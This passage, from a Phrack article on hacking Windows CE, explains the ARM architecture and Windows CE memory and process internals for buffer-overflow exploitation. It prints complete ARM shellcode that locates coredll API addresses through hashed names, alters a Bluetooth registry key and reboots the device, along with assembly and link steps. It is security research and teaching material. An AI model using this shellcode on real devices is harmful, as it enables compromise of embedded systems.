fuel our hacking. Thanks as well to duke for pointing out the vm_allocate()
bug and ilja for discussing all of this with me on various occasions.
"Free wd jail mitnick!"
--[ 7 - References
1) Apple Memory Usage performance Guidelines:
- http://developer.apple.com/documentation/Performance/Conceptual/
ManagingMemory/Articles/MemoryAlloc.html
2) WebKit:
- http://webkit.opendarwin.org/
3) Smashing the stack for fun and profit:
- http://www.phrack.org/show.php?p=49&a=14
4) Mac OS X Assembler Guide
- http://developer.apple.com/documentation/DeveloperTools/
Reference/Assembler/index.html
5) Slashdot - Nokia Using WebKit
- http://apple.slashdot.org/article.pl?sid=05/06/13/1158208
6) Darwin Source.
- http://www.opensource.apple.com/darwinsource/curr.version.number
7) Bug Me Not
- http://www.bugmenot.com
8) Open Darwin
- http://www.opendarwin.org
|=[ EOF ]=--------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x06 of 0x14
|=----------------------------------------------------------------------=|
|=----------------------=[ Hacking Windows CE ]=------------------------=|
|=----------------------------------------------------------------------=|
|=----------------------=[ san <san@xfocus.org> ]=----------------------=|
--[ Contents
1 - Abstract
2 - Windows CE Overview
3 - ARM Architecture
4 - Windows CE Memory Management
5 - Windows CE Processes and Threads
6 - Windows CE API Address Search Technology
7 - The Shellcode for Windows CE
8 - System Call
9 - Windows CE Buffer Overflow Exploitation
10 - About Decoding Shellcode
11 - Conclusion
12 - Greetings
13 - References
--[ 1 - Abstract
The network features of PDAs and mobiles are becoming more and more
powerful, so their related security problems are attracting more and more
attentions. This paper will show a buffer overflow exploitation example
in Windows CE. It will cover knowledges about ARM architecture, memory
management and the features of processes and threads of Windows CE. It
also shows how to write a shellcode in Windows CE, including knowledges
about decoding shellcode of Windows CE with ARM processor.
--[ 2 - Windows CE Overview
Windows CE is a very popular embedded operating system for PDAs and
mobiles. As the name, it's developed by Microsoft. Because of the similar
APIs, the Windows developers can easily develop applications for Windows
CE. Maybe this is an important reason that makes Windows CE popular.
Windows CE 5.0 is the latest version, but Windows CE.net(4.2) is the most
useful version, and this paper is based on Windows CE.net.
For marketing reason, Windows Mobile Software for Pocket PC and Smartphone
are considered as independent products, but they are also based on the
core of Windows CE.
By default, Windows CE is in little-endian mode and it supports several
processors.
--[ 3 - ARM Architecture
ARM processor is the most popular chip in PDAs and mobiles, almost all of
the embedded devices use ARM as CPU. ARM processors are typical RISC
processors in that they implement a load/store architecture. Only load and
store instructions can access memory. Data processing instructions operate
on register contents only.
There are six major versions of ARM architecture. These are denoted by
the version numbers 1 to 6.
ARM processors support up to seven processor modes, depending on the
architecture version. These modes are: User, FIQ-Fast Interrupt Request,
IRQ-Interrupt Request, Supervisor, Abort, Undefined and System. The System
mode requires ARM architecture v4 and above. All modes except User mode
are referred to as privileged mode. Applications usually execute in User
mode, but on Pocket PC all applications appear to run in kernel mode, and
we'll talk about it late.
ARM processors have 37 registers. The registers are arranged in partially
overlapping banks. There is a different register bank for each processor
mode. The banked registers give rapid context switching for dealing with
processor exceptions and privileged operations.
In ARM architecture v3 and above, there are 30 general-purpose 32-bit
registers, the program counter(pc) register, the Current Program Status
Register(CPSR) and five Saved Program Status Registers(SPSRs). Fifteen
general-purpose registers are visible at any one time, depending on the
current processor mode. The visible general-purpose registers are from r0
to r14.
By convention, r13 is used as a stack pointer(sp) in ARM assembly language.
The C and C++ compilers always use r13 as the stack pointer.
In User mode and System mode, r14 is used as a link register(lr) to store
the return address when a subroutine call is made. It can also be used as
a general-purpose register if the return address is stored in the stack.
The program counter is accessed as r15(pc). It is incremented by four
bytes for each instruction in ARM state, or by two bytes in Thumb state.
Branch instructions load the destination address into the pc register.
You can load the pc register directly using data operation instructions.
This feature is different from other processors and it is useful while
writing shellcode.
--[ 4 - Windows CE Memory Management
Understanding memory management is very important for buffer overflow
exploit. The memory management of Windows CE is very different from other
operating systems, even other Windows systems.
Windows CE uses ROM (read only memory) and RAM (random access memory).
The ROM stores the entire operating system, as well as the applications
that are bundled with the system. In this sense, the ROM in a Windows CE
system is like a small read-only hard disk. The data in ROM can be
maintained without power of battery. ROM-based DLL files can be designated
as Execute in Place. XIP is a new feature of Windows CE.net. That is,
they're executed directly from the ROM instead of being loaded into
program RAM and then executed. It is a big advantage for embedded systems.
The DLL code doesn't take up valuable program RAM and it doesn't have to
be copied into RAM before it's launched. So it takes less time to start an
application. DLL files that aren't in ROM but are contained in the object
store or on a Flash memory storage card aren't executed in place; they're
copied into the RAM and then executed.
The RAM in a Windows CE system is divided into two areas: program memory
and object store.
The object store can be considered something like a permanent virtual RAM
disk. Unlike the RAM disks on a PC, the object store maintains the files
stored in it even if the system is turned off. This is the reason that
Windows CE devices typically have a main battery and a backup battery.
They provide power for the RAM to maintain the files in the object store.
Even when the user hits the reset button, the Windows CE kernel starts up
looking for a previously created object store in RAM and uses that store
if it finds one.
Another area of the RAM is used for the program memory. Program memory is
used like the RAM in personal computers. It stores the heaps and stacks
for the applications that are running. The boundary between the object
store and the program RAM is adjustable. The user can move the dividing
line between object store and program RAM using the System Control Panel
applet.
Windows CE is a 32-bit operating system, so it supports 4GB virtual
address space. The layout is as following:
+----------------------------------------+ 0xFFFFFFFF
| | | Kernel Virtual Address: |
| | 2 | KPAGE Trap Area, |
| | G | KDataStruct, etc |
| | B | ... |
| | |--------------------------------+ 0xF0000000
| 4 | K | Static Mapped Virtual Address |
| G | E | ... |
| B | R | ... |
| | N |--------------------------------+ 0xC4000000
| V | E | NK.EXE |
| I | L |--------------------------------+ 0xC2000000
| R | | ... |
| T | | ... |
| U |---|--------------------------------+ 0x80000000
| A | | Memory Mapped Files |
| L | 2 | ... |
| | G |--------------------------------+ 0x42000000
| A | B | Slot 32 Process 32 |
| D | |--------------------------------+ 0x40000000
| D | U | ... |
| R | S |--------------------------------+ 0x08000000
| E | E | Slot 3 DEVICE.EXE |
| S | R |--------------------------------+ 0x06000000
| S | | Slot 2 FILESYS.EXE |
| | |--------------------------------+ 0x04000000
| | | Slot 1 XIP DLLs |
| | |--------------------------------+ 0x02000000
| | | Slot 0 Current Process |
+---+---+--------------------------------+ 0x00000000
The upper 2GB is kernel space, used by the system for its own data. And
the lower 2GB is user space. From 0x42000000 to below 0x80000000 memories
are used for large memory allocations, such as memory-mapped files, object
store is in here. From 0 to below 0x42000000 memories are divided into 33
slots, each of which is 32MB.
Slot 0 is very important; it's for the currently running process. The
virtual address space layout is as following:
+---+------------------------------------+ 0x02000000
| | DLL Virtual Memory Allocations |
| S | +--------------------------------|
| L | | ROM DLLs:R/W Data |
| O | |--------------------------------|
| T | | RAM DLL+OverFlow ROM DLL: |
| 0 | | Code+Data |
| | +--------------------------------|
| C +------+-----------------------------|
| U | A |
| R V | |
| R +-------------------------+----------|
| E | General Virtual Memory Allocations|
| N | +--------------------------------|
| T | | Process VirtualAlloc() calls |
| | |--------------------------------|
| P | | Thread Stack |
| R | |--------------------------------|
| O | | Process Heap |
| C | |--------------------------------|
| E | | Thread Stack |
| S |---+--------------------------------|
| S | Process Code and Data |
| |------------------------------------+ 0x00010000
| | Guard Section(64K)+UserKInfo |
+---+------------------------------------+ 0x00000000
First 64 KB reserved by the OS. The process' code and data are mapped from
0x00010000, then followed by stacks and heaps. DLLs loaded into the top
address. One of the new features of Windows CE.net is the expansion of an
application's virtual address space from 32 MB, in earlier versions of
Windows CE, to 64 MB, because the Slot 1 is used as XIP.
--[ 5 - Windows CE Processes and Threads
Windows CE treats processes in a different way from other Windows systems.
Windows CE limits 32 processes being run at any one time. When the system
starts, at least four processes are created: NK.EXE, which provides the
kernel service, it's always in slot 97; FILESYS.EXE, which provides file
system service, it's always in slot 2; DEVICE.EXE, which loads and
maintains the device drivers for the system, it's in slot 3 normally; and
GWES.EXE, which provides the GUI support, it's in slot 4 normally. The
other processes are also started, such as EXPLORER.EXE.
Shell is an interesting process because it's not even in the ROM.
SHELL.EXE is the Windows CE side of CESH, the command line-based monitor.
The only way to load it is by connecting the system to the PC debugging
station so that the file can be automatically downloaded from the PC. When
you use Platform Builder to debug the Windows CE system, the SHELL.EXE
will be loaded into the slot after FILESYS.EXE.
Threads under Windows CE are similar to threads under other Windows
systems. Each process at least has a primary thread associated with it
upon starting even if it never explicitly created one. And a process can
create any number of additional threads, it's only limited by available
memory.
Each thread belongs to a particular process and shares the same memory
space. But SetProcPermissions(-1) gives the current thread access to any
process. Each thread has an ID, a private stack and a set of registers.
The stack size of all threads created within a process is set by the
linker when the application is compiled.
The IDs of process and thread in Windows CE are the handles of the
corresponding process and thread. It's funny, but it's useful while
programming.
When a process is loaded, system will assign the next available slot to it
. DLLs loaded into the slot and then followed by the stack and default
process heap. After this, then executed.
When a process' thread is scheduled, system will copy from its slot into
slot 0. It isn't a real copy operation; it seems just mapped into slot 0.
This is mapped back to the original slot allocated to the process if the
process becomes inactive. Kernel, file system, windowing system all runs
in their own slots
Processes allocate stack for each thread, the default size is 64KB,
depending on link parameter when the program is compiled. The top 2KB is
used to guard against stack overflow, we can't destroy this memory,
otherwise, the system will freeze. And the remained available for use.
Variables declared inside functions are allocated in the stack. Thread's
stack memory is reclaimed when it terminates.
--[ 6 - Windows CE API Address Search Technology
We must have a shellcode to run under Windows CE before exploit. Windows
CE implements as Win32 compatibility. Coredll provides the entry points
for most APIs supported by Windows CE. So it is loaded by every process.
The coredll.dll is just like the kernel32.dll and ntdll.dll of other Win32
systems. We have to search necessary API addresses from the coredll.dll
and then use these APIs to implement our shellcode. The traditional method
to implement shellcode under other Win32 systems is to locate the base
address of kernel32.dll via PEB structure and then search API addresses
via PE header.
Firstly, we have to locate the base address of the coredll.dll. Is there a
structure like PEB under Windows CE? The answer is yes. KDataStruct is an
important kernel structure that can be accessed from user mode using the
fixed address PUserKData and it keeps important system data, such as
module list, kernel heap, and API set pointer table (SystemAPISets).
KDataStruct is defined in nkarm.h:
// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h
struct KDataStruct {
LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */
HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */
char bResched; /* 0x084 reschedule flag */
char cNest; /* 0x085 kernel exception nesting */
char bPowerOff; /* 0x086 TRUE during "power off" processing */
char bProfileOn; /* 0x087 TRUE if profiling enabled */
ulong unused; /* 0x088 unused */
ulong rsvd2; /* 0x08c was DiffMSec */
PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */
PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */
DWORD dwKCRes; /* 0x098 */
ulong handleBase; /* 0x09c handle table base address */
PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */
LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */
LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */
ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */
uchar *pMap; /* 0x2a4 ptr to MemoryMap array */
DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */
PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */
PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */
long nMemForPT; /* 0x2b4 - Memory used for PageTables */
long alPad[18]; /* 0x2b8 - padding */
DWORD aInfo[32]; /* 0x300 - misc. kernel info */
// WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h
#define KINX_PROCARRAY 0 /* 0x300 address of process array */
#define KINX_PAGESIZE 1 /* 0x304 system page size */
#define KINX_PFN_SHIFT 2 /* 0x308 shift for page # in PTE */
#define KINX_PFN_MASK 3 /* 0x30c mask for page # in PTE */
#define KINX_PAGEFREE 4 /* 0x310 # of free physical pages */
#define KINX_SYSPAGES 5 /* 0x314 # of pages used by kernel */
#define KINX_KHEAP 6 /* 0x318 ptr to kernel heap array */
#define KINX_SECTIONS 7 /* 0x31c ptr to SectionTable array */
#define KINX_MEMINFO 8 /* 0x320 ptr to system MemoryInfo struct */
#define KINX_MODULES 9 /* 0x324 ptr to module list */
#define KINX_DLL_LOW 10 /* 0x328 lower bound of DLL shared space */
#define KINX_NUMPAGES 11 /* 0x32c total # of RAM pages */
#define KINX_PTOC 12 /* 0x330 ptr to ROM table of contents */
#define KINX_KDATA_ADDR 13 /* 0x334 kernel mode version of KData */
#define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */
#define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */
#define KINX_PENDEVENTS 16 /* 0x340 bit mask for pending interrupt events */
#define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */
#define KINX_API_MASK 18 /* 0x348 bit mask for registered api sets */
#define KINX_NLS_CP 19 /* 0x34c hiword OEM code page, loword ANSI code page */
#define KINX_NLS_SYSLOC 20 /* 0x350 Default System locale */
#define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */
#define KINX_HEAP_WASTE 22 /* 0x358 Kernel heap wasted space */
#define KINX_DEBUGGER 23 /* 0x35c For use by debugger for protocol communication */
#define KINX_APISETS 24 /* 0x360 APIset pointers */
#define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */
#define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */
#define KINX_NKSECTION 27 /* 0x36c Address of NKSection */
#define KINX_PWR_EVTS 28 /* 0x370 Events to be set after power on */
#define KINX_NKSIG 31 /* 0x37c last entry of KINFO -- signature when NK is ready */
#define NKSIG 0x4E4B5347 /* signature "NKSG" */
/* 0x380 - interlocked api code */
/* 0x400 - end */
}; /* KDataStruct */
/* High memory layout
*
* This structure is mapped in at the end of the 4GB virtual
* address space.
*
* 0xFFFD0000 - first level page table (uncached) (2nd half is r/o)
* 0xFFFD4000 - disabled for protection
* 0xFFFE0000 - second level page tables (uncached)
* 0xFFFE4000 - disabled for protection
* 0xFFFF0000 - exception vectors
* 0xFFFF0400 - not used (r/o)
* 0xFFFF1000 - disabled for protection
* 0xFFFF2000 - r/o (physical overlaps with vectors)
* 0xFFFF2400 - Interrupt stack (1k)
* 0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack)
* 0xFFFF3000 - disabled for protection
* 0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack)
* 0xFFFF4900 - Abort stack (2k - 256 bytes)
* 0xFFFF5000 - disabled for protection
* 0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack)
* 0xFFFF6800 - FIQ stack (256 bytes)
* 0xFFFF6900 - r/o (physical memory overlaps with Abort stack)
* 0xFFFF7000 - disabled
* 0xFFFFC000 - kernel stack
* 0xFFFFC800 - KDataStruct
* 0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000)
*/
The value of PUserKData is fixed as 0xFFFFC800 on the ARM processor, and
0x00005800 on other CPUs. The last member of KDataStruct is aInfo. It
offsets 0x300 from the start address of KDataStruct structure. Member
aInfo is a DWORD array, there is a pointer to module list in index
9(KINX_MODULES), and it's defined in pkfuncs.h. So offsets 0x324 from
0xFFFFC800 is the pointer to the module list.
Well, let's look at the Module structure. I marked the offsets of the
Module structure as following:
// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h
typedef struct Module {
LPVOID lpSelf; /* 0x00 Self pointer for validation */
PMODULE pMod; /* 0x04 Next module in chain */
LPWSTR lpszModName; /* 0x08 Module name */
DWORD inuse; /* 0x0c Bit vector of use */
DWORD calledfunc; /* 0x10 Called entry but not exit */
WORD refcnt[MAX_PROCESSES]; /* 0x14 Reference count per process*/
LPVOID BasePtr; /* 0x54 Base pointer of dll load (not 0 based) */
DWORD DbgFlags; /* 0x58 Debug flags */
LPDBGPARAM ZonePtr; /* 0x5c Debug zone pointer */
ulong startip; /* 0x60 0 based entrypoint */
openexe_t oe; /* 0x64 Pointer to executable file handle */
e32_lite e32; /* 0x74 E32 header */
// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
typedef struct e32_lite { /* PE 32-bit .EXE header */
unsigned short e32_objcnt; /* 0x74 Number of memory objects */
BYTE e32_cevermajor; /* 0x76 version of CE built for */
BYTE e32_ceverminor; /* 0x77 version of CE built for */
unsigned long e32_stackmax; /* 0x78 Maximum stack size */
unsigned long e32_vbase; /* 0x7c Virtual base address of module */
unsigned long e32_vsize; /* 0x80 Virtual size of the entire image */
unsigned long e32_sect14rva; /* 0x84 section 14 rva */
unsigned long e32_sect14size; /* 0x88 section 14 size */
struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */
// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
struct info { /* Extra information header block */
unsigned long rva; /* Virtual relative address of info */
unsigned long size; /* Size of information block */
}
// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
#define EXP 0 /* 0x8c Export table position */
#define IMP 1 /* 0x94 Import table position */
#define RES 2 /* 0x9c Resource table position */
#define EXC 3 /* 0xa4 Exception table position */
#define SEC 4 /* 0xac Security table position */
#define FIX 5 /* 0xb4 Fixup table position */
#define LITE_EXTRA 6 /* Only first 6 used by NK */
} e32_lite, *LPe32_list;
o32_lite *o32_ptr; /* 0xbc O32 chain ptr */
DWORD dwNoNotify; /* 0xc0 1 bit per process, set if notifications disabled */
WORD wFlags; /* 0xc4 */
BYTE bTrustLevel; /* 0xc6 */
BYTE bPadding; /* 0xc7 */
PMODULE pmodResource; /* 0xc8 module that contains the resources */
DWORD rwLow; /* 0xcc base address of RW section for ROM DLL */
DWORD rwHigh; /* 0xd0 high address RW section for ROM DLL */
PGPOOL_Q pgqueue; /* 0xcc list of the page owned by the module */
} Module;
Module structure is defined in kernel.h. The third member of Module
structure is lpszModName, which is the module name string pointer and it
offsets 0x08 from the start of the Module structure. The Module name is
unicode string. The second member of Module structure is pMod, which is an
address that point to the next module in chain. So we can locate the
coredll module by comparing the unicode string of its name.
Offsets 0x74 from the start of Module structure has an e32 member and it
is an e32_lite structure. Let's look at the e32_lite structure, which
defined in pehdr.h. In the e32_lite structure, member e32_vbase will tell
us the virtual base address of the module. It offsets 0x7c from the start
of Module structure. We else noticed the member of e32_unit[LITE_EXTRA],
it is an info structure array. LITE_EXTRA is defined to 6 in the head of
pehdr.h, only the first 6 used by NK and the first is export table position.
So offsets 0x8c from the start of Module structure is the virtual relative
address of export table position of the module.
From now on, we got the virtual base address of the coredll.dll and its
virtual relative address of export table position.
I wrote the following small program to list all modules of the system:
; SetProcessorMode.s
AREA |.text|, CODE, ARM
EXPORT |SetProcessorMode|
|SetProcessorMode| PROC
mov r1, lr ; different modes use different lr - save it
msr cpsr_c, r0 ; assign control bits of CPSR
mov pc, r1 ; return
END
// list.cpp
/*
...
01F60000 coredll.dll
*/
#include "stdafx.h"
extern "C" void __stdcall SetProcessorMode(DWORD pMode);
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
FILE *fp;
unsigned int KDataStruct = 0xFFFFC800;
void *Modules = NULL,
*BaseAddress = NULL,
*DllName = NULL;
// switch to user mode
//SetProcessorMode(0x10);
if ( (fp = fopen("\\modules.txt", "w")) == NULL )
{
return 1;
}
// aInfo[KINX_MODULES]
Modules = *( ( void ** )(KDataStruct + 0x324));
while (Modules) {
BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) );
DllName = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );
fprintf(fp, "%08X %ls\n", BaseAddress, DllName);
Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) );
}
fclose(fp);
return(EXIT_SUCCESS);
}
In my environment, the Module structure is 0x8F453128 which in the kernel
space. Most of Pocket PC ROMs were builded with Enable Full Kernel Mode
option, so all applications appear to run in kernel mode. The first 5 bits
of the Psr register is 0x1F when debugging, that means the ARM processor
runs in system mode. This value defined in nkarm.h:
// ARM processor modes
#define USER_MODE 0x10 // 0b10000
#define FIQ_MODE 0x11 // 0b10001
#define IRQ_MODE 0x12 // 0b10010
#define SVC_MODE 0x13 // 0b10011
#define ABORT_MODE 0x17 // 0b10111
#define UNDEF_MODE 0x1b // 0b11011
#define SYSTEM_MODE 0x1f // 0b11111
I wrote a small function in assemble to switch processor mode because the
EVC doesn't support inline assemble. The program won't get the value of
BaseAddress and DllName when I switched the processor to user mode. It
raised a access violate exception.
I use this program to get the virtual base address of the coredll.dll is
0x01F60000 without change processor mode. But this address is invalid when
I use EVC debugger to look into and the valid data is start from
0x01F61000. I think maybe Windows CE is for the purpose of save memory
space or time, so it doesn't load the header of dll files.
Because we've got the virtual base address of the coredll.dll and its
virtual relative address of export table position, so through repeat
compare the API name by IMAGE_EXPORT_DIRECTORY structure, we can get the
API address. IMAGE_EXPORT_DIRECTORY structure is just like other Win32
system's, which defined in winnt.h:
// WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; /* 0x00 */
DWORD TimeDateStamp; /* 0x04 */
WORD MajorVersion; /* 0x08 */
WORD MinorVersion; /* 0x0a */
DWORD Name; /* 0x0c */
DWORD Base; /* 0x10 */
DWORD NumberOfFunctions; /* 0x14 */
DWORD NumberOfNames; /* 0x18 */
DWORD AddressOfFunctions; // 0x1c RVA from base of image
DWORD AddressOfNames; // 0x20 RVA from base of image
DWORD AddressOfNameOrdinals; // 0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
--[ 7 - The Shellcode for Windows CE
There are something to notice before writing shellcode for Windows CE.
Windows CE uses r0-r3 as the first to fourth parameters of API, if the
parameters of API larger than four that Windows CE will use stack to store
the other parameters. So it will be careful to write shellcode, because
the shellcode will stay in the stack. The test.asm is our shellcode:
; Idea from WinCE4.Dust written by Ratter/29A
;
; API Address Search
; san@xfocus.org
;
; armasm test.asm
; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj
CODE32
EXPORT WinMainCRTStartup
AREA .text, CODE, ARM
test_start
; r11 - base pointer
test_code_start PROC
bl get_export_section
mov r2, #4 ; functions number
bl find_func
sub sp, sp, #0x89, 30 ; weird after buffer overflow
add r0, sp, #8
str r0, [sp]
mov r3, #2
mov r2, #0
adr r1, key
mov r0, #0xA, 2
mov lr, pc
ldr pc, [r8, #-12] ; RegOpenKeyExW
mov r0, #1
str r0, [sp, #0xC]
mov r3, #4
str r3, [sp, #4]
add r1, sp, #0xC
str r1, [sp]
;mov r2, #0
adr r1, val
ldr r0, [sp, #8]
mov lr, pc
ldr pc, [r8, #-8] ; RegSetValueExW
ldr r0, [sp, #8]
mov lr, pc
ldr pc, [r8, #-4] ; RegCloseKey
adr r0, sf
ldr r0, [r0]
;ldr r0, =0x0101003c
mov r1, #0
mov r2, #0
mov r3, #0
mov lr, pc
ldr pc, [r8, #-16] ; KernelIoControl
; basic wide string compare
wstrcmp PROC
wstrcmp_iterate
ldrh r2, [r0], #2
ldrh r3, [r1], #2
cmp r2, #0
cmpeq r3, #0
moveq pc, lr
cmp r2, r3
beq wstrcmp_iterate
mov pc, lr
ENDP
; output:
; r0 - coredll base addr
; r1 - export section addr
get_export_section PROC
mov r11, lr
adr r4, kd
ldr r4, [r4]
;ldr r4, =0xffffc800 ; KDataStruct
ldr r5, =0x324 ; aInfo[KINX_MODULES]
add r5, r4, r5
ldr r5, [r5]
; r5 now points to first module
mov r6, r5
mov r7, #0
iterate
ldr r0, [r6, #8] ; get dll name
adr r1, coredll
bl wstrcmp ; compare with coredll.dll
ldreq r7, [r6, #0x7c] ; get dll base
ldreq r8, [r6, #0x8c] ; get export section rva
add r9, r7, r8
beq got_coredllbase ; is it what we're looking for?
ldr r6, [r6, #4]
cmp r6, #0
cmpne r6, r5
bne iterate ; nope, go on
got_coredllbase
mov r0, r7
add r1, r8, r7 ; yep, we've got imagebase
; and export section pointer
mov pc, r11
ENDP
; r0 - coredll base addr
; r1 - export section addr
; r2 - function name addr
find_func PROC
adr r8, fn
find_func_loop
ldr r4, [r1, #0x20] ; AddressOfNames
add r4, r4, r0
mov r6, #0 ; counter
find_start
ldr r7, [r4], #4
add r7, r7, r0 ; function name pointer
;mov r8, r2 ; find function name
mov r10, #0
hash_loop
ldrb r9, [r7], #1
cmp r9, #0
beq hash_end
add r10, r9, r10, ROR #7
b hash_loop
hash_end
ldr r9, [r8]
cmp r10, r9 ; compare the hash
addne r6, r6, #1
bne find_start
ldr r5, [r1, #0x24] ; AddressOfNameOrdinals
add r5, r5, r0
add r6, r6, r6
ldrh r9, [r5, r6] ; Ordinals
ldr r5, [r1, #0x1c] ; AddressOfFunctions
add r5, r5, r0
ldr r9, [r5, r9, LSL #2]; function address rva
add r9, r9, r0 ; function address
str r9, [r8], #4
subs r2, r2, #1
bne find_func_loop
mov pc, lr
ENDP
kd DCB 0x00, 0xc8, 0xff, 0xff ; 0xffffc800
sf DCB 0x3c, 0x00, 0x01, 0x01 ; 0x0101003c
fn DCB 0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl
DCB 0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW
DCB 0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW
DCB 0x83, 0x17, 0x51, 0x0e ; RegCloseKey
key DCB "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0
DCB "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0
DCB "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0
DCB "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0x0
DCB "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0
val DCB "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0
DCB "e", 0x0, 0x0, 0x0
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
ALIGN 4
LTORG
test_end
WinMainCRTStartup PROC
b test_code_start
ENDP
END
This shellcode constructs with three parts. Firstly, it calls the
get_export_section function to obtain the virtual base address of coredll
and its virtual relative address of export table position. The r0 and r1
stored them. Second, it calls the find_func function to obtain the API
address through IMAGE_EXPORT_DIRECTORY structure and stores the API
addresses to its own hash value address. The last part is the function
implement of our shellcode, it changes the register key
HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and then uses
KernelIoControl to soft restart the system.
Windows CE.NET provides BthGetMode and BthSetMode to get and set the
bluetooth state. But HP IPAQs use the Widcomm stack which has its own API,
so BthSetMode can't open the bluetooth for IPAQ. Well, there is another
way to open bluetooth in IPAQs(My PDA is HP1940). Just changing
HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and reset the PDA,
the bluetooth will open after system restart. This method is not pretty,
but it works.
Well, let's look at the get_export_section function. Why I commented off
"ldr r4, =0xffffc800" instruction? We must notice ARM assembly language's
LDR pseudo-instruction. It can load a register with a 32-bit constant
value or an address. The instruction "ldr r4, =0xffffc800" will be
"ldr r4, [pc, #0x108]" in EVC debugger, and the r4 register depends on the
program. So the r4 register won't get the 0xffffc800 value in shellcode,
and the shellcode will fail. The instruction "ldr r5, =0x324" will be
"mov r5, #0xC9, 30" in EVC debugger, its ok when the shellcode is executed
. The simple solution is to write the large constant value among the
shellcode, and then use the ADR pseudo-instruction to load the address of
value to register and then read the memory to register.
To save size, we can use hash technology to encode the API names. Each API
name will be encoded into 4 bytes. The hash technology is come from LSD's
Win32 Assembly Components.
The compile method is as following:
armasm test.asm
link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj
You must install the EVC environment first. After this, we can obtain the
necessary opcodes from EVC debugger or IDAPro or hex editors.
--[ 8 - System Call
First, let's look at the implementation of an API in coredll.dll:
.text:01F75040 EXPORT PowerOffSystem
.text:01F75040 PowerOffSystem ; CODE XREF: SetSystemPowerState+58p
.text:01F75040 STMFD SP!, {R4,R5,LR}
.text:01F75044 LDR R5, =0xFFFFC800
.text:01F75048 LDR R4, =unk_1FC6760
.text:01F7504C LDR R0, [R5] ; UTlsPtr
.text:01F75050 LDR R1, [R0,#-0x14] ; KTHRDINFO
.text:01F75054 TST R1, #1
.text:01F75058 LDRNE R0, [R4] ; 0x8004B138 ppfnMethods
.text:01F7505C CMPNE R0, #0
.text:01F75060 LDRNE R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem
.text:01F75064 LDREQ R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem
.text:01F75068 MOV LR, PC
.text:01F7506C MOV PC, R1
.text:01F75070 LDR R3, [R5]
.text:01F75074 LDR R0, [R3,#-0x14]
.text:01F75078 TST R0, #1
.text:01F7507C LDRNE R0, [R4]
.text:01F75080 CMPNE R0, #0
.text:01F75084 LDRNE R0, [R0,#0x25C] ; SC_KillThreadIfNeeded
.text:01F75088 MOVNE LR, PC
.text:01F7508C MOVNE PC, R0
.text:01F75090 LDMFD SP!, {R4,R5,PC}
.text:01F75090 ; End of function PowerOffSystem
Debugging into this API, we found the system will check the KTHRDINFO
first. This value was initialized in the MDCreateMainThread2 function of
PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c:
...
if (kmode || bAllKMode) {
pTh->ctx.Psr = KERNEL_MODE;
KTHRDINFO (pTh) |= UTLS_INKMODE;
} else {
pTh->ctx.Psr = USER_MODE;
KTHRDINFO (pTh) &= ~UTLS_INKMODE;
}
...
